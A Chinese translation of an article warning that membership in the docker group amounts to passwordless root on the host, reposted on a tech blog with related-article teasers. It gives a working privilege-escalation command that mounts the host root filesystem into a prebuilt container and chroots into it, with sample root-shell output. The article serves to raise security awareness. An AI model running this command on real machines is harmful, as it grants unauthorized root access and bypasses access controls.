摘要:本文翻译自,目的在于提醒大家注意安全性。咨询了作者得知,是在容器内获得宿主机的权限。给用户提供权限和给用户无需认证便可以随便获取的权限差别不大。在他们的安全文档中,他们也的确表示用户组的权限和权限差别不大,并且敬告用户慎重使用。
本文翻译自 Privilege Escalation via Docker,目的在于提醒大家注意安全性。本文中所有的内容总结成一句话:某个用户被加入了 docker 用户组,那么这个用户相当于直接获得了宿主机免认证的 root 权限。
文章太长不要看,一句话,不要用 docker 用户组。
如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。
问题如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。
黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。 #
解释译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。
默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
解决方案对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。
Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。
漏洞详情上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。
这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。
本文中所提到的代码托管在 Github,镜像在 Docker Hub。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/26408.html
摘要:本文翻译自,目的在于提醒大家注意安全性。咨询了作者得知,是在容器内获得宿主机的权限。给用户提供权限和给用户无需认证便可以随便获取的权限差别不大。在他们的安全文档中,他们也的确表示用户组的权限和权限差别不大,并且敬告用户慎重使用。 本文翻译自 Privilege Escalation via Docker,目的在于提醒大家注意安全性。本文中所有的内容总结成一句话:某个用户被加入了 ...
摘要:我们也不再需要提供的安全标签的策略了。增加容器之间的隔离度,甚至可以完全抛弃机制。禁止的越多越安全。例如的插件就得管管,毕竟插件都是来自互联网,没办法保证的安全。在浏览器中使用执行插件确保系统的安全。未来的我们将会继续增强的安全功能。 当我开始在opensource.com上面写这一系列的docker安全的文章是,想阐述的一点就是:他们快罩不住了(containers do not c...
摘要:我们也不再需要提供的安全标签的策略了。增加容器之间的隔离度,甚至可以完全抛弃机制。禁止的越多越安全。例如的插件就得管管,毕竟插件都是来自互联网,没办法保证的安全。在浏览器中使用执行插件确保系统的安全。未来的我们将会继续增强的安全功能。 当我开始在opensource.com上面写这一系列的docker安全的文章是,想阐述的一点就是:他们快罩不住了(containers do not c...
摘要:我们也不再需要提供的安全标签的策略了。增加容器之间的隔离度,甚至可以完全抛弃机制。禁止的越多越安全。例如的插件就得管管,毕竟插件都是来自互联网,没办法保证的安全。在浏览器中使用执行插件确保系统的安全。未来的我们将会继续增强的安全功能。 当我开始在opensource.com上面写这一系列的docker安全的文章是,想阐述的一点就是:他们快罩不住了(containers do not c...
摘要:然而,当享受带来扩展性资源利用率和弹性提升的同时,其所面临的安全隐患同样值得重视,近日在上撰文进行了总结。然而除下容器与主系统完全解耦,这种使用就会存在潜在的安全隐患。在回应有关的安全问题时,这里详细讨论了如何缓解的安全问题。 【编者按】对比虚拟机,Docker 在体量等方面拥有显著的优势。然而,当 DevOps 享受 Docker 带来扩展性、资源利用率和弹性提升的同时,其所面临的安...
阅读 3193·2021-11-18 10:02
阅读 3417·2021-10-11 10:58
阅读 3324·2021-09-24 09:47
阅读 1095·2021-09-22 15:21
阅读 3858·2021-09-10 11:10
阅读 3254·2021-09-03 10:28
阅读 1723·2019-08-30 15:45
阅读 2096·2019-08-30 14:22